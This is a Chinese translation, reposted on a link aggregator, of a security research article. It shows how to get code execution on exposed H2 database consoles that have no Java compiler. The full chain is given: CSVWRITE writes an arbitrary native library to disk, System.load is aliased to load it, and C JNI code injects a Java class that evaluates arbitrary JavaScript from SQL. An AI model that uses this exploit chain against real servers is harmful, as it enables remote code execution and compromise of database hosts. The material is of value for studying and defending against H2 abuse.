33

利用原生库和JNI(Java原生接口)实现H2数据库漏洞利用

 4 years ago
source link: https://www.tuicool.com/articles/MVrAnue
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

在H2数据库引擎中获取代码执行权限的技术早已是众所周知,但有个要求就是H2能够动态编译Java代码。而本文将向大家展示以前没有公开过的利用H2的方法,并且无需使用Java编译器,即通过原生库和JNI(Java原生接口)实现H2数据库漏洞的利用 。

介绍

上周, Doyensec的Andrea Brancaleoni发表了一篇关于jackson gadgets-漏洞剖析 的博文。它描述了如果 LogbackH2数据库引擎 库可用,如何利用 Jackson库 中基于setter的漏洞。简而言之,就是利用H2的特性,使用Java代码  创建用户定义的函数 ,并使用Java编译器动态编译这些函数。

但如果Java编译器不可用呢?这是在最近的一次参与中遇到的情况,Windows系统上的H2数据库引擎实例版本1.2.141公开了其Web控制台。我们希望通过使用原生库(.dll或.so)和Java原生接口(JNI),找到一种新的方法来执行任意Java代码,而无需在目标服务器上使用Java编译器。

H2 能力评估

假设我们不能使用 CREATE ALIAS … AS …  命令,因为Java编译器不可用。原因可能是它不是Java Development Kit(JDK)而是Java Runtime Environment(JRE),因此没有编译器。或是由于未正确设置PATH环境变量,导致无法找到Java编译器javac。

但是, CREATE ALIAS … FOR …   命令可以使用:

当引用一个方法时,类必须已经被编译并包含在运行数据库的类路径中。仅支持静态Java方法;类和方法都必须是公共的。

因此各个公共静态方法都可以使用。最坏的情况是,只有h2-1.2.141.jar和JRE可用。此外,只有受支持的数据类型可用于嵌套函数调用。

在Java运行时库rt.jar中浏览candidates时,我们发现 System.load(String) 方法允许加载原生库。这意味着我们可以通过库的入口点函数来执行代码。

但如何将库加载到H2服务器上呢?虽然Windows上的Java支持UNC路径并提取文件,但其拒绝实际加载它。而且这在Linux上也不起作用。那么,如何将文件写入H2服务器呢?

使用 H2 写入任意文件

在查看和研究了一些 H2函数 后,我们发现了一个FILE_WRITE文件写入函数。不幸的是,FILE_WRITE是 在1.4.190中引入 的。而我们需要的是 在1.2.141中可用的函数 。最终我们找到了一个名为CSVWRITE的函数,这也是唯一一个名称中带“ write”的函数。

快速测试显示了CSV列标头也被打印了出来。查看CSV选项,可以看到有一个writeColumnHeader选项可用于禁用写入列标头。不幸的是, writeColumnHeader选项仅被添加在了1.3/1.4.177上

但是在查看其他受支持的选项fieldSeparator,fieldDelimiter,escape,null和lineSeparator时,我蹦出了一个想法:如果我们将它们全部清空,并使用CSV列标头写入我们的数据,会怎样?如果H2数据库引擎允许列具有任意长度的任意名称,那么我们就能够写入任意数据。

查看 H2的列语法 ,列的columnName可以是 带引号的名称 ,定义如下:

” anything “

带引号的名称区分大小写,并且可以包含空格。没有最大名称长度。两个双引号可用于在标识符内创建一个单双引号。

这听起来很完美。让我们看看我们是否可以在其中放入任意内容,以及CSVWRITE是否具有二进制安全机制。

首先,让我们生成涵盖所有8-bit octet的测试数据:

$ python -c 'import sys;[sys.stdout.write(chr(i)) for i in range(0,256)]' > test.bin
$ sha1sum test.bin
4916d6bdb7f78e6803698cab32d1586ea457dfc8  test.bin

现在我们生成一系列CHAR(n)函数调用,它们将在SQL查询中生成我们的二进制数据:

xxd -p -c 256 test.bin | sed -e 's/../),CHAR(0x&/g' -e 's/^),//' -e 's/$/)/' -e 's/CHAR(0x22)/&,&/g'

然后,我们在以下CSVWRITE调用中使用它:

SELECT CSVWRITE('C:\Windows\Temp\test.bin', CONCAT('SELECT NULL "', … , '"'), 'ISO-8859-1', '', '', '', '', '');

最后,我们测试写入的文件是否具有相同的校验和:

C:\Windows\Temp> certutil -hashfile test.bin SHA1
SHA1 hash of file test.bin:
49 16 d6 bd b7 f7 8e 68 03 69 8c ab 32 d1 58 6e a4 57 df c8
CertUtil: -hashfile command completed successfully.

可以看到,文件应该是相同的!

进入原生世界

既然我们可以使用内置函数CSVWRITE,将原生库写入磁盘并通过为System.load(String)创建别名来加载它,我们就可以使用库的入口点来实现代码执行。

让我们更进一步,看看是否有办法从SQL执行任意命令/代码。

Java Native Interface(JNI) 允许原生代码和Java虚拟机(JVM)之间的交互。因此,在这种情况下,它将允许我们与运行H2数据库的JVM进行交互。

现在,我的想法是使用JNI通过 ClassLoader.defineClass(byte[], int, int) 将自定义Java类注入到运行的JVM中。这将允许我们创建一个别名并从SQL调用它。

使用 JNI 调用 JVM

首先,我们需要获得正在运行的JVM的句柄。这可以通过JNI_GetCreatedJavaVMs 函数 来完成。然后,将当前线程附加到VM,并获得JNI接口指针(JNIEnv)。 使用该指针,我们可以与JVM交互并调用 JNI函数 ,例如FindClass, GetStaticMethodID/GetMethodID> 和 CallStatic<Type>Method/Call<Type>Method。 计划是通过ClassLoader.getSystemClassLoader()获取系统类加载器并调用defineClass:

// xxd -p -c 10000 bin/JNIScriptEngine.class | sed -e 's/../0x&,/g' -e 's/^/char buf[] = {/' -e 's/,$/};/'
// public static JNIScriptEngine.eval(String js) : String
char buf[] = { /* ... */ };
size_t bufLen = sizeof(buf);
jbyteArray jData = (*g_env)->NewByteArray(g_env, bufLen);
(*g_env)->SetByteArrayRegion(g_env, jData, 0, bufLen, (jbyte*)buf);
JNIEnv * g_env;
JavaVM* g_vm;
jsize num_vms = 0;
jint result = JNI_GetCreatedJavaVMs(&g_vm, 1, #_vms);
int getEnvStat = (*g_vm)->GetEnv(g_vm, (void **)&g_env, JNI_VERSION_1_6);
if (getEnvStat == JNI_EDETACHED) {
  // printf("GetEnv: not attached\n");
  if ((*g_vm)->AttachCurrentThread(g_vm, (void **) &g_env, NULL) != 0) {
    // printf("Failed to attach\n");
  }
} else if (getEnvStat == JNI_OK) {
  // printf("GetEnv: everything's fine\n");
} else if (getEnvStat == JNI_EVERSION) {
  // printf("GetEnv: version not supported\n");
}
jclass cls;
jmethodID meth;
jobject obj;
cls = (*g_env)->FindClass(g_env, "java/lang/ClassLoader");
// static java.lang.ClassLoader.getSystemClassLoader() : java.lang.ClassLoader
meth = (*g_env)->GetStaticMethodID(g_env, cls, "getSystemClassLoader", "()Ljava/lang/ClassLoader;");
jobject systemClassLoader = (*g_env)->CallStaticObjectMethod(g_env, cls, meth);
// java.lang.ClassLoader.defineClass(byte[], int, int) : java.lang.Class
meth = (*g_env)->GetMethodID(g_env, cls, "defineClass", "([BII)Ljava/lang/Class;");
jobject loadedClass = (*g_env)->CallObjectMethod(g_env, systemClassLoader, meth, jData, 0, (jint)bufLen);
(*g_env)->DeleteLocalRef(g_env, jData);
(*g_vm)->DetachCurrentThread(g_vm);

这基本上是模仿了以下Java代码:

Class cls = Class.forName("java.lang.ClassLoader");
Method meth = cls.getDeclaredMethod("getSystemClassLoader", new Class[0]);
Object systemClassLoader = meth.invoke(null, new Object[0]);
meth = cls.getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class });
meth.setAccessible(true);
meth.invoke(systemClassLoader, new Object[] { jData, 0, jData.length });

自定义Java类JNIScriptEngine只有一个公共静态方法,它使用可用的ScriptEngine实例评估传递的脚本:

public class JNIScriptEngine {
  public static String eval(String script) throws Exception {
    return new javax.script.ScriptEngineManager().getEngineFactories().get(0).getScriptEngine().eval(script).toString();
  }
}

最终,整合在一起的代码如下:

-- write native library
SELECT CSVWRITE('C:\Windows\Temp\JNIScriptEngine.dll', CONCAT('SELECT NULL "', ... , '"'), 'ISO-8859-1', '', '', '', '', '');
-- load native library
CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load";
CALL System_load('C:\Windows\Temp\JNIScriptEngine.dll');
-- evaluate script
CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";
CALL JNIScriptEngine_eval('7*191');

这样我们就可以从SQL执行任意的JavaScript代码了。

2MZ3Yz2.jpg!web

*参考来源: codewhitesec ,FB小编secist编译,转载请注明来自FreeBuf.COM


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK